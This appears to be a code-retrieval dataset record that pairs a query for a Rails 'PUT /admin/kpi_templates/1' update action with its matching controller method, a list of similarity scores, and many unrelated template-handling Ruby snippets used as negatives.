"def set_template\n end", "def generate_from_templates\r\n %w{package.json _config.yml}.each do |file|\r\n template file\r\n end\r\n end", "def my_template_params\n params.require(:my_template).permit(:name, :desc)\n end", "def supported_templates\n [\n double_opt_in_template,\n admin_forgot_password_template,\n user_forgot_password_template,\n kyc_issue_template,\n admin_invite_template,\n test_webhook_result_template,\n\n # kyc_data_mismatch_template,\n # kyc_document_id_issue_template,\n # kyc_selfie_image_issue_template,\n # kyc_residency_image_issue_template,\n\n kyc_approved_template,\n kyc_denied_template,\n purchase_confirmation,\n altdrop_sent,\n contact_us_template,\n low_whitelister_balance_template,\n manual_review_needed_template,\n billing_plan_notification_template,\n update_ethereum_request_outcome_template,\n open_case_request_outcome_template,\n contact_us_ost_partner_autoresponder_template,\n contact_us_ost_kyc_autoresponder_template,\n kyc_report_download_template,\n low_balance_whitelisting_suspended_template,\n contract_address_update_template\n ]\n end", "def create\n @request_template = RequestTemplate.new(request_template_params)\n\n respond_to do |format|\n if @request_template.save\n respond format, 'Request template was successfully created.'\n else\n format.html { render :new }\n format.json { render json: @request_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def template_path\n Jets::Naming.api_gateway_template_path\n end", "def template_path\n Jets::Naming.api_gateway_template_path\n end", "def post_template_params\n params.require(:post_template).permit(:new_thing, :other_thing, :another_thing)\n end", "def create\n @cv_template = CvTemplate.new(cv_template_params)\n respond_to do |format|\n if @cv_template.save\n current_user.cv_templates << @cv_template\n format.html { redirect_to action: :index, notice: 'Personal info was successfully created.' }\n format.json { render :show, status: :created, location: @cv_template }\n else\n format.html { render :new }\n format.json { render json: @cv_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def etemplate_params\n params.require(:etemplate).permit(:template_id, :template_name)\n end", "def new\n @admin_kpi_category_template = Admin::KpiCategoryTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_kpi_category_template }\n end\n end", "def service_template_params\n params.require(:service_template).permit(:name, :icon, :group_id, :user_id, :raw_config, :desc, :readme)\n end", "def template_params\n params.permit(\n :certificate_serial,\n :identity,\n { template_contents_attributes: [:id, :template_id, :locale, :title, :content] }\n )\n end", "def create\n authorize! :manage, :all\n @question_template = QuestionTemplate.new(question_template_params)\n\n respond_to do |format|\n if @question_template.save\n format.html do redirect_to question_template_path(@question_template),\n notice: 'Question template was successfully created.'\n end\n format.json { render action: 'show', status: :created, location: @question_template }\n else\n format.html { render action: 'new' }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @templates = @firm.templates\n @template = Template.new(template_params)\n @template.user = @user\n @template.firm = @firm\n if File.extname(@template.file.file.filename) == '.docx'\n content = ''\n if @template.valid_zip?\n doc = Docx::Document.open(@template.file.path)\n doc.paragraphs.each do |p|\n if p.node.xpath('w:r//w:lastRenderedPageBreak').present?\n content = content + %q(<div class=\"-page-break\"></div>) + p.to_html\n else\n content = content + p.to_html\n end\n\n end\n @template.html_content = content\n respond_to do |format|\n if @template.save\n format.html { redirect_to template_path(@template), notice: 'Template was successfully created.' }\n format.json { render :show, status: :created, location: @template }\n else\n format.html { render :new }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n else\n @template.errors.add(:file, 'is corrupted')\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def create\n @project_template = ProjectTemplate.new(params[:project_template])\n\n respond_to do |format|\n if @project_template.save\n format.html { redirect_to @project_template, notice: 'Project template was successfully created.' }\n format.json { render json: @project_template, status: :created, location: @project_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_job_templates\n dprint \"get /api/v1/job_templates\"\n resp = @rest['/api/v1/job_templates'].get\n dprint resp\n # ruby's implicit return\n JSON.parse(resp)[\"results\"]\n end", "def templates_path\n @templates_path\n end", "def show\n @admin_kpi_template = Admin::KpiTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_kpi_template }\n end\n end", "def template_params\n params.require(:template).permit(:name, :body, :active_flg)\n end", "def template_params\n params.require(:template).permit(:name, :template_type, :template_sub_type, \n { uploaded_file_attributes: [:assets, :id] }, { thumbnail_image_attributes: [:assets, :id] } )\n end", "def add_miq_templates\n add_collection(cloud, :miq_templates) do |builder|\n builder.add_properties(\n :model_class => ManageIQ::Providers::Google::CloudManager::Template\n )\n end\n end", "def details\n response = CreateSend.get \"/templates/#{template_id}.json\", {}\n Hashie::Mash.new(response)\n end", "def publish_templates\n # Use soure account ID to discover deployment\n @api.account_id = @options[:src]\n @old_deployment = @api.deployments(:id => @options[:deployment], :view => \"inputs_2_0\").show\n servers = @old_deployment.show.servers.index\n puts \"Discovered deployment: #{@old_deployment.name} ...\\n\\n\"\n\n # find href of current servers servertemplate and set it as the key in the server_templates hash\n servers.each do |server|\n puts \"Discovered server: #{server.name} ...\"\n\n if server.next_instance.show.server_template.show.revision == 0\n $stderr.puts \"ERROR: Cannot publish a HEAD version of a ServerTemplate. Please commit first.\"\n exit 1\n end\n @server_templates[server.next_instance.show.server_template.show.href] =\n {\"name\" => server.next_instance.show.server_template.show.name}\n end\n puts \"\\nDiscovered unique ServerTemplates:\\n\\n\"\n @server_templates.keys.each do |st|\n puts \"#{@server_templates[st]['name']}\"\n end\n\n # Publish each unique ServerTemplate\n puts \"\\n\"\n @server_templates.keys.each do |server_template|\n st = @api.resource(server_template)\n\n puts \"Publishing: \\\"#{st.name}\\\" to group: #{@options[:group]} ...\"\n response = st.publish(\n \"account_group_hrefs\" => [ \"/api/account_groups/#{@options[:group]}\" ],\n \"descriptions[long]\" => st.description,\n \"descriptions[short]\" => st.description[0..255],\n \"descriptions[notes]\" => \"Auto imported from account #{@options[:src]}\"\n )\n # Add publication URL to hash\n @server_templates[server_template]['publication_url'] = response.show.href\n end\nend", "def destroy\n @admin_kpi_template = Admin::KpiTemplate.find(params[:id])\n @admin_kpi_template.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_kpi_templates_url }\n format.json { head :no_content }\n end\n end", "def create\n @questionnaire_template = QuestionnaireTemplate.new(questionnaire_template_params)\n\n respond_to do |format|\n if @questionnaire_template.save\n format.html { redirect_to @questionnaire_template, notice: 'questionnaire template was successfully created.' }\n format.json { render :show, status: :created, location: @questionnaire_template }\n else\n format.html { render :new }\n format.json { render json: @questionnaire_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def template_params\n params.require(:template).permit(:identifier, :title, :help, :publisher, :variables, :payload, :memory, :count, :last_execute_at, :created_at, :updated_at, :method, :content,:uri, :cache, :checked, :headers, :delimiter, :host, :port, :database, :username, :password, :query, :selectors, :server, :to, :cc, :bcc, :subject, :message)\n end", "def create\n\n @question_template = QuestionTemplate.new(question_template_params)\n\n respond_to do |format|\n if @question_template.save\n format.html { redirect_to @question_template, notice: 'Question template was successfully created.' }\n format.json { render :show, status: :created, location: @question_template }\n else\n format.html { render :new }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_template_lists(options = {})\r\n # Prepare query url.\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/template/lists.json'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare form parameters.\r\n _parameters = {\r\n 'type' => options['type'],\r\n 'page' => options['page'],\r\n 'pagesize' => options['pagesize'],\r\n 'Shortcode' => options['shortcode']\r\n }\r\n _parameters = APIHelper.form_encode_parameters(_parameters)\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n parameters: _parameters\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end", "def create\n @rcadmin_email_template = Rcadmin::EmailTemplate.new(rcadmin_email_template_params)\n\n respond_to do |format|\n if @rcadmin_email_template.save\n\t\tflash[:notice] = 'Email template was successfully created.'\n format.html { redirect_to rcadmin_email_templates_url, notice: 'Email template was successfully created.' }\n format.json { render action: 'show', status: :created, location: @rcadmin_email_template }\n else\n format.html { render action: 'new' }\n format.json { render json: @rcadmin_email_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @template = Template.new(template_params)\n\n if @template.save\n render :show, status: :created, location: @template\n else\n render json: @template.errors, status: :unprocessable_entity\n end\n end", "def hook_add_templates\n @flavor.class.after_add_templates do |templates, resource_action|\n templates.each do |template|\n actions_taken << \"#{resource_action} template #{template}\"\n end\n end\n end", "def create\n @question_template = QuestionTemplate.new(params[:question_template])\n params[:files].each_pair do |field_name, file|\n unless file.original_filename.empty?\n @question_template.send \"#{field_name}=\", file.original_filename\n end\n end\n\n respond_to do |format|\n if @question_template.save\n @question_template.upload_files(params[:files].values)\n\n format.html { redirect_to [:admin,@question_template], notice: 'Question template was successfully created.' }\n format.json { render json: @question_template, status: :created, location: @question_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def template_map\n return TEMPLATE_MAP\n end", "def create\n @module_template = ModuleTemplate.new(params[:module_template])\n\n respond_to do |format|\n if @module_template.save\n format.html { redirect_to @module_template, notice: 'Module template was successfully created.' }\n format.json { render json: @module_template, status: :created, location: @module_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @module_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @inspection_template = InspectionTemplate.new(inspection_template_params)\n\n respond_to do |format|\n if @inspection_template.save\n format.html { redirect_to @inspection_template, notice: 'Inspection template was successfully created.' }\n format.json { render action: 'show', status: :created, location: @inspection_template }\n else\n format.html { render action: 'new' }\n format.json { render json: @inspection_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @exercise_template = ExerciseTemplate.new(exercise_template_params)\n\n if @exercise_template.save\n render json: @exercise_template, status: :created, location: @exercise_template\n else\n render json: @exercise_template.errors, status: :unprocessable_entity\n end\n end", "def create\n @_template = @site.templates.new(params[:template])\n @_template.created_by = @_template.updated_by = current_user\n\n respond_to do |format|\n if @_template.save\n flash[:notice] = \"Template was successfully created.\"\n format.html { redirect_to([:admin, @site, @_template]) }\n format.xml { render :xml => @_template, :status => :created, :location => @_template }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @_template.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @policy_template = PolicyTemplate.new(policy_template_params)\n\n respond_to do |format|\n if @policy_template.save\n format.html { redirect_to @policy_template, notice: 'Policy template was successfully created.' }\n format.json { render :show, status: :created, location: @policy_template }\n else\n format.html { render :new }\n format.json { render json: @policy_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def print_template_params\n params.require(:print_template).permit(:name, :template_type, :size, :template)\n end", "def get_templates(name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n\n r = @client.post({\n 'action' => 'gettemplate',\n 'object' => 'htpl',\n 'values' => name,\n }.to_json)\n\n templates = []\n JSON.parse(r)['result'].each do |data|\n host_template = ::Centreon::HostTemplate.new\n host_template.id = data['id'].to_i\n host_template.name = data['name']\n templates << host_template\n end\n\n templates\n end", "def config_templates\r\n ConfigTemplatesController.instance\r\n end", "def create\n @admin_template_software = TemplateSoftware.new(params[:admin_template_software])\n\n respond_to do |format|\n if @admin_template_software.save\n format.html { redirect_to admin_template_software_url, notice: '공지사항이 작성되었습니다.' }\n format.json { render json: @admin_template_software, status: :created, location: @admin_template_software }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_template_software.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @template = Spree::Template.new(template_params)\n\n respond_to do |format|\n if @template.save\n format.html { redirect_to @template, notice: 'Template was successfully created.' }\n format.json { render action: 'show', status: :created, location: @template }\n else\n format.html { render action: 'new' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_driver_templates\n @client.raw('get', '/content/email-templates/driver/templates')\n end", "def update_template_files(opts)\n template_id = opts.delete(:template_id)\n path = \"/template/update_files/#{template_id}\"\n prepare_files opts\n\n HelloSign::Resource::Template.new post(path, body: opts)\n end", "def create\n @post_template = PostTemplate.new(post_template_params)\n\n respond_to do |format|\n if @post_template.save\n format.html { redirect_to @post_template, notice: 'Post template was successfully created.' }\n format.json { render :show, status: :created, location: @post_template }\n else\n format.html { render :new }\n format.json { render json: @post_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @node_template = NodeTemplate.new(params[:node_template])\n\n respond_to do |format|\n if @node_template.save\n format.html { redirect_to @node_template, notice: 'Node template was successfully created.' }\n format.json { render json: @node_template, status: :created, location: @node_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @node_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def list_templates(args = {})\n filter = args[:filter] || 'featured'\n params = {\n 'command' => 'listTemplates',\n 'templateFilter' => filter\n }\n params['projectid'] = args[:project_id] if args[:project_id]\n params['zoneid'] = args[:zone_id] if args[:zone_id]\n \n json = send_request(params)\n json['template'] || []\n end", "def create\n @product_template = ProductTemplate.new(product_template_params)\n\n respond_to do |format|\n if @product_template.save\n format.html { redirect_to @product_template, notice: 'Product template was successfully created.' }\n format.json { render :show, status: :created, location: @product_template }\n else\n format.html { render :new }\n format.json { render json: @product_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @page_template = PageTemplate.new(params[:page_template])\n\n respond_to do |format|\n if @page_template.save\n format.html { redirect_to @page_template, notice: 'Page template was successfully created.' }\n format.json { render json: @page_template, status: :created, location: @page_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @page_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def script_template_params\n params.require(:script_template).permit(:name)\n end", "def create\n @item_template = ItemTemplate.new(item_template_params)\n\n respond_to do |format|\n if @item_template.save\n format.html { redirect_to @item_template, notice: 'Item template was successfully created.' }\n format.json { render :show, status: :created, location: @item_template }\n else\n format.html { render :new }\n format.json { render json: @item_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_template_pages; end", "def questionnaire_template_params\n params.require(:questionnaire_template).permit(:name, :qt_type_id, :instructions, :comments)\n end", "def index\n @request_templates = RequestTemplate.all\n end", "def list_templates(type)\n res = http_get(:uri=>\"/editor/#{type}/templates\", :fields=>x_cookie)\n end", "def possible_templates\n\t\tif !params[:funder].nil? && params[:funder] != \"\" && params[:funder] != \"undefined\" then\n\t\t\tfunder = Organisation.find(params[:funder])\n\t\telse\n\t\t\tfunder = nil\n\t\tend\n\t\tif !params[:institution].nil? && params[:institution] != \"\" && params[:institution] != \"undefined\" then\n\t\t\tinstitution = Organisation.find(params[:institution])\n\t\telse\n\t\t\tinstitution = nil\n\t\tend\n\t\ttemplates = {}\n\t\tunless funder.nil? then\n\t\t\tfunder.published_templates.each do |t|\n\t\t\t\ttemplates[t.id] = t.title\n\t\t\tend\n\t\tend\n\t\tif templates.count == 0 && !institution.nil? then\n\t\t\tinstitution.published_templates.each do |t|\n\t\t\t\ttemplates[t.id] = t.title\n\t\t\tend\n\t\t\tinstitution.children.each do |o|\n\t\t\t\to.published_templates.each do |t|\n\t\t\t\t\ttemplates[t.id] = t.title\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\trespond_to do |format|\n\t\t\tformat.json { render json: templates.to_json }\n\t\tend\n\tend", "def create\n @my_template = MyTemplate.new(my_template_params)\n\n respond_to do |format|\n if @my_template.save\n format.html { redirect_to @my_template, notice: 'My template was successfully created.' }\n format.json { render :show, status: :created, location: @my_template }\n else\n format.html { render :new }\n format.json { render json: @my_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @survey_template = @organization.survey_templates.build(survey_template_params)\n authorize @survey_template\n\n respond_to do |format|\n if @survey_template.save\n format.html { redirect_to @survey_template, notice: 'Template was successfully created.' }\n format.json { render :show, status: :created, location: @survey_template }\n else\n @record = [@organization, @survey_template]\n format.html { render :new }\n format.json { render json: @survey_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def editor_templates (type, uuid)\n res = http_get(:uri=>\"/editor/#{type}/templates/#{uuid}\", :fields=>x_cookie)\n end", "def virtual_machine_templates\n kubevirt_client.get_virtual_machine_templates(namespace: @namespace)\n end", "def create\n @template = EmailTemplate.new(template_params)\n respond_to do |format|\n if @template.save\n format.html { redirect_to email_templates_path, notice: 'template was successfully created.' }\n format.json { render :show, status: :created, location: @template }\n else\n format.html { render :new }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def template_params\n params.require(:template).permit(:title, :subject, :receiver, :content)\n end", "def path_to_template name\n \"#{JSPEC_ROOT}/templates/#{name}/.\"\n end", "def update\n @admin_kpi_template = Admin::KpiTemplate.find(params[:id])\n\n respond_to do |format|\n if @admin_kpi_template.update_attributes(params[:admin_kpi_template])\n format.html { redirect_to @admin_kpi_template, notice: 'Kpi template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_kpi_template.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6622259", "0.6582469", "0.6530488", "0.64118797", "0.6294986", "0.62941164", "0.62474686", "0.617519", "0.6167039", "0.6138981", "0.61165845", "0.6113474", "0.6102534", "0.6098116", "0.6085632", "0.6077751", "0.6077751", "0.6077629", "0.6065601", "0.60522896", "0.6044563", "0.60416454", "0.600008", "0.5982024", "0.5959103", "0.59580845", "0.59562624", "0.5956124", "0.59536874", "0.5953673", "0.5947485", "0.5936154", "0.59344304", "0.5934268", "0.5930533", "0.59163034", "0.5907717", "0.5902977", "0.5900744", "0.5898346", "0.5898346", "0.5887663", "0.58839184", "0.5882965", "0.5879485", "0.5855727", "0.58492464", "0.5839123", "0.58328766", "0.5832073", "0.5822297", "0.57990754", "0.5772798", "0.57692707", "0.5750459", "0.5734378", "0.572729", "0.5717875", "0.57026744", "0.56988496", "0.5692949", "0.568572", "0.5682616", "0.5681466", "0.5681253", "0.56767195", "0.5662343", "0.56547374", "0.56487995", "0.56455016", "0.56446785", "0.5639446", "0.563894", "0.5631573", "0.56196225", "0.5617751", "0.5614297", "0.5614213", "0.55963326", "0.5594234", "0.5586869", "0.55842966", "0.55830413", "0.55808246", "0.55758", "0.55757445", "0.55700284", "0.55625725", "0.5553195", "0.5553118", "0.5552377", "0.5551254", "0.5548438", "0.5545858", "0.5537974", "0.5529957", "0.55284524", "0.55276906", "0.5527538", "0.55252093" ]
0.714878
0
PUT /admin/kpi_templates/1 PUT /admin/kpi_templates/1.json
def update @admin_kpi_template = Admin::KpiTemplate.find(params[:id]) respond_to do |format| if @admin_kpi_template.update_attributes(params[:admin_kpi_template]) format.html { redirect_to @admin_kpi_template, notice: 'Kpi template was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @admin_kpi_template.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @admin_kpi_template = Admin::KpiTemplate.new(params[:admin_kpi_template])\n\n respond_to do |format|\n if @admin_kpi_template.save\n format.html { redirect_to @admin_kpi_template, notice: 'Kpi template was successfully created.' }\n format.json { render json: @admin_kpi_template, status: :created, location: @admin_kpi_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_kpi_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @admin_kpi_category_template = Admin::KpiCategoryTemplate.find(params[:id])\n\n respond_to do |format|\n if @admin_kpi_category_template.update_attributes(params[:admin_kpi_category_template])\n format.html { redirect_to @admin_kpi_category_template, notice: 'Kpi category template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_kpi_category_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_template\n @template = Spree::Template.find(params[:id])\n # puts \"ddsfsfsdfsdf\",@template.inspect\n # puts \"ddsfsfsdfsdf\",@template.inspect\n # put\n end", "def update(id, values, update_published = false)\n @client.call(method: :put, path: \"templates/#{id}\", body_values: values, query_values: { update_published: update_published })\n end", "def update\n current_site.grid_templates.find(params[:id]).update(params.require(:grid_template).permit(:name, :description))\n index\n end", "def update_template_files(opts)\n template_id = opts.delete(:template_id)\n path = \"/template/update_files/#{template_id}\"\n prepare_files opts\n\n HelloSign::Resource::Template.new post(path, body: opts)\n end", "def destroy\n @admin_kpi_template = Admin::KpiTemplate.find(params[:id])\n @admin_kpi_template.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_kpi_templates_url }\n format.json { head :no_content }\n end\n end", "def new\n @admin_kpi_template = Admin::KpiTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_kpi_template }\n end\n end", "def update\n @admin_template = Template.find(params[:id])\n\n respond_to do |format|\n if @admin_template.update_attributes(params[:notice])\n format.html { redirect_to admin_templates_url, notice: '공지사항이 수정되었습니다.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n Spree::Template.update_all(:selected => false)\n @template = Spree::Template.find(params[:id])\n @template.selected = true\n @template.theme_color = params[:template][:theme_color]\n @template.variant_display_type = params[:template][:variant_display_type]\n @template.is_allowed_custom_theme = params[:template][:is_allowed_custom_theme]\n \n respond_to do |format|\n if @template.save!\n format.html { redirect_to admin_templates_path, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n flash[:error] = \"#{@template.errors.full_messages.first}\"\n format.html { redirect_to admin_templates_path }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @_template = @site.templates.find(params[:id])\n @_template.updated_by = current_user\n\n respond_to do |format|\n if @_template.update_attributes(params[:template])\n flash[:notice] = \"Template was successfully updated.\"\n format.html { redirect_to([:admin, @site, @_template]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @_template.errors, :status => :unprocessable_entity }\n end\n end\n end", "def delete\n super \"/templates/#{template_id}.json\", {}\n end", "def update\n @mytemplate = Mytemplate.get(params[:id])\n \n @mytemplate.name = params[:mytemplate][:name]\n @mytemplate.folder = params[:mytemplate][:folder]\n @mytemplate.description = params[:mytemplate][:description]\n \n respond_to do |format|\n if @mytemplate.save\n format.html { redirect_to mytemplates_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mytemplate.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n authorize! :manage, :all\n respond_to do |format|\n if @question_template.update(question_template_params)\n format.html do redirect_to question_template_path(@question_template),\n notice: 'Question template was successfully updated.'\n end\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @request_template.update(request_template_params)\n respond format, 'Request template was successfully updated.'\n else\n format.html { render :edit }\n format.json { render json: @request_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n puts template_params\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def template_update(id, type, filename)\n check_id_or_raise id\n check_template_type_or_raise type\n check_filename_or_raise filename\n response = http_request_multipart :put, @base_url + \"/templates/#{id}.xml\", 200,\n { :provider_key => @provider_key,\n :draft => File.read(filename), \n :multipart => true}\n puts 'at update call'\n _id, _updated_at = parse_response response, type\n response = http_request :put, \"#{@base_url}/templates/#{id}/publish\", 200,\n { :params => { :provider_key => @provider_key } }\n puts 'at publish call'\n parse_response response, 'page'\n end", "def update\n @project_template = ProjectTemplate.find(params[:id])\n\n respond_to do |format|\n if @project_template.update_attributes(params[:project_template])\n format.html { redirect_to @project_template, notice: 'Project template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n update_elements if elements_params.present?\n @template.update(name: template_params[:name]) if template_params[:name].present?\n\n if @template.errors.empty?\n render :show, status: :ok, location: @template\n else\n render json: @template.errors, status: :unprocessable_entity\n end\n end", "def show\n @admin_kpi_template = Admin::KpiTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_kpi_template }\n end\n end", "def create\n @admin_kpi_category_template = Admin::KpiCategoryTemplate.new(params[:admin_kpi_category_template])\n\n respond_to do |format|\n if @admin_kpi_category_template.save\n format.html { redirect_to @admin_kpi_category_template, notice: 'Kpi category template was successfully created.' }\n format.json { render json: @admin_kpi_category_template, status: :created, location: @admin_kpi_category_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_kpi_category_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @exercise_template = ExerciseTemplate.find(params[:id])\n\n if @exercise_template.update(exercise_template_params)\n head :no_content\n else\n render json: @exercise_template.errors, status: :unprocessable_entity\n end\n end", "def update\n if @template.update(template_params)\n handle_save_success @template, :ok, t('templates.update_success')\n else\n handle_save_error @template.errors, :edit\n end\n end", "def update\n respond_to do |format|\n if @item_template.update(item_template_params)\n format.html { redirect_to @item_template, notice: 'Item template was successfully updated.' }\n format.json { render :show, status: :ok, location: @item_template }\n else\n format.html { render :edit }\n format.json { render json: @item_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if params[:name].blank?\n updated=@configuration_template.update(configuration_template_params)\n else\n updated=@configuration_template.update(name: params[:name], description: params[:description])\n end\n\n respond_to do |format|\n if updated\n format.html { redirect_to @configuration_template, notice: 'Blueprint was successfully updated.' }\n\n format.json { render json: @configuration_template }\n else\n puts @configuration_template.errors.inspect\n format.html { render :edit }\n format.json { render json: @configuration_template.errors, status: :unprocessable_entity }\n\n end\n end\n end", "def update\n @template = Template.find(params[:id])\n\n respond_to do |format|\n if @template.update_attributes(params[:template])\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product_template.update(product_template_params)\n format.html { redirect_to @product_template, notice: 'Product template was successfully updated.' }\n format.json { render :show, status: :ok, location: @product_template }\n else\n format.html { render :edit }\n format.json { render json: @product_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def template_params\n params.require(:template).permit(:name, :description, :template_type, :accounting_plan, :accounting_plan_id)\n end", "def set_template\n Settings.reload!\n @template = Template.find(params[:id])\n end", "def template_params\n params.require(:template).permit(:name, :path, elements: [:key, :type, :content])\n end", "def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to email_templates_path, notice: 'template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit\n template = Template.includes(:org, :phases).find(params[:id])\n authorize template\n # Load the info needed for the overview section if the authorization check passes!\n phases = template.phases.includes(sections: { questions: :question_options })\n .order('phases.number',\n 'sections.number',\n 'questions.number',\n 'question_options.number')\n .select('phases.title',\n 'phases.description',\n 'phases.modifiable',\n 'sections.title',\n 'questions.text',\n 'question_options.text')\n if template.latest?\n render 'container', locals: {\n partial_path: 'edit',\n template: template,\n phases: phases,\n referrer: get_referrer(template, request.referer)\n }\n else\n redirect_to org_admin_template_path(id: template.id)\n end\n end", "def create_template\n self.template = \"template 14231\"\n end", "def update\n @invoice_template = InvoiceTemplate.find(params[:id])\n\n respond_to do |format|\n if @invoice_template.update_attributes(params[:invoice_template])\n format.html { redirect_to @invoice_template, notice: 'Invoice template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invoice_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def etemplate_params\n params.require(:etemplate).permit(:template_id, :template_name)\n end", "def update\n authorize @service_template\n\n respond_to do |format|\n if @service_template.update(service_template_params)\n format.html { redirect_to service_template_path(@service_template), notice: 'Service template was successfully updated.' }\n format.json { render :show, status: :ok, location: @service_template }\n else\n format.html { render :edit }\n format.json { render json: @service_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @policy_template.update(policy_template_params)\n format.html { redirect_to @policy_template, notice: 'Policy template was successfully updated.' }\n format.json { render :show, status: :ok, location: @policy_template }\n else\n format.html { render :edit }\n format.json { render json: @policy_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n restricted\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to template_path(@template), notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_templates(name, templates)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n raise('wrong type: String required') unless templates.is_a?(String)\n raise('wrong value: templates must be valid') unless !templates.nil? && !templates.empty?\n\n @client.post({\n 'action' => 'settemplate',\n 'object' => 'htpl',\n 'values' => '%s;%s' % [name, templates],\n }.to_json)\n end", "def update\n\n respond_to do |format|\n if @template.update(template_params)\n params[:template_fields].each do |p|\n # name: p[0], val: p[1]\n field = Field.find_by(:code => p[0])\n tf = TemplateField.find_by(:field_id => field.id, :template_id => @template.id)\n tf.val = p[1]\n tf.save\n end\n format.html { redirect_to dashboard_path, notice: 